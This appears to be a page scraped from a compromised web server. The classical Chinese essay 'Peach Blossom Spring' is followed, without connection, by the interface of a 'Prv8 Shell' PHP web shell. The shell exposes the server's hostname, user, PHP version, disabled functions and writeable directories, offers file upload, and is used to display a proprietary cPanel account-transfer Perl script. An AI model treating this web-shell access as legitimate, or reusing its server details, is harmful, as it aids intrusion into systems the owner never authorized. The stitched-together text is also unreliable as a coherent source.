晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //scripts/transfer_accounts_as_root
#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/transfer_accounts_as_root       Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

package scripts::transfer_accounts_as_root;

use cPstrict;

=encoding utf-8

=head1 USAGE

    transfer_accounts_as_root --host=the.source --user=hank

=head1 DESCRIPTION

This utility transfers one or more accounts from a remote server
to the local one.

The parameters are:

=over

=item * C<--host> - The remote (source) hostname or IP address. Required.

=item * C<--user> - The name of a user to transfer. May be given multiple times.

=item * C<--sshkey> - (optional) The name of the C<root> user’s SSH key to use
to log in on the remote server. This takes the place of password authentication.

=item * C<--session> - (optional) An argument, in C<key=value> format, to give
to the C<create_remote_root_transfer_session> API call. May be given 0 or more times.

=item * C<--enqueue> - (optional) An argument, in C<key=value> format, to give
to the C<enqueue_transfer_item> API call. May be given 0 or more times.

=back

=head1 AUTHENTICATION

This script supports the following authentications:

=over

=item * Password for C<root>, given on STDIN.

=item * SSH key for C<root>, named as the C<--sshkey> argument. The
key’s passphrase is given on STDIN.

=back

=head1 CAVEATS (B<IMPORTANT!>)

This script is a simple interface to WHM’s account-transfer APIs. As such,
it exhibits some important differences from WHM’s “Transfer Tool”:

=over

=item * “Live Transfer” mode is B<disabled> by default. To enable it, pass
C<--enqueue=live_transfer=1>.

=item * By default a transfer requires either SSH access or valid TLS on
the remote (source) server. If neither is available, instruct the transfer
session to attempt invalid TLS by passing
C<--session=comm_transport=whostmgr_insecure> to this script.

=item * SSH access to the rem

=item * There are fewer “guard rails” in place. For example, as of this
writing the system will enqueue a transfer of an account that doesn’t actually
exist on the source server. (Future cPanel & WHM versions may improve on this.)

=back

=head1 SEE ALSO

F</usr/local/cpanel/scripts/transfer_account_as_user> is like this script
but authenticates to the source server as the user.

=cut

#----------------------------------------------------------------------

use parent qw(
  Cpanel::CLI::TransferAccounts
);

__PACKAGE__->new(@ARGV)->run() if !caller;

use constant _OPTIONS => (
    __PACKAGE__->SUPER::_OPTIONS(),
    'user=s@',
    'sshkey=s',
);

#----------------------------------------------------------------------

sub run ($self) {
    my ( $host, $usernames_ar ) = $self->parse_opts();

    my $authn_username = 'root';

    my ( $prompt, $prompt_var, @authn_args );

    if ( my $sshkey_name = $self->getopt('sshkey') ) {
        push @authn_args, ( sshkey_name => $sshkey_name );

        if ( _does_key_need_passphrase($sshkey_name) ) {
            $prompt     = "Enter “$sshkey_name”’s passphrase:";
            $prompt_var = 'sshkey_passphrase';
        }
        else {
            $self->say("“$sshkey_name” is unencrypted, so no passphrase is needed.");
        }
    }
    else {
        $prompt     = "Enter “$authn_username”’s password on “$host”:";
        $prompt_var = 'password';
    }

    if ($prompt) {
        my $secret = $self->get_secret($prompt);

        push @authn_args, ( $prompt_var => $secret );
    }

    #----------------------------------------------------------------------

    my $guard = $self->create_session_and_aborter(
        'create_remote_root_transfer_session',
        {
            user => $authn_username,
            host => $host,
            @authn_args,
        },
    );

    $self->enqueue_users( 'AccountRemoteRoot', $usernames_ar );

    $self->do_transfer_and_finish();

    return;
}

sub _does_key_need_passphrase ($keyname) {
    require Cpanel::SSH;

    my ($keys_ar) = Cpanel::SSH::_listkeys(
        private => 1,
        public  => 0,
    );

    my $key_data_hr;

    for my $key_hr (@$keys_ar) {
        next if $key_hr->{'file'} ne $keyname;

        $key_data_hr = $key_hr;
        last;
    }

    if ( !$key_data_hr ) {
        my @keynames = sort map { $_->{'file'} } @$keys_ar;

        my $msg = join(
            "\n",
            "No key exists named “$keyname”.",
            q<>,
            "Available keys are:",
            ( map { "\t• $_" } @keynames ),
            q<>,
        );

        die $msg;
    }

    return $key_data_hr->{'encrypted'};
}

# Needed for Cpanel::SSH
sub main::hasfeature {
    return 1;
}

1;

haha - 2025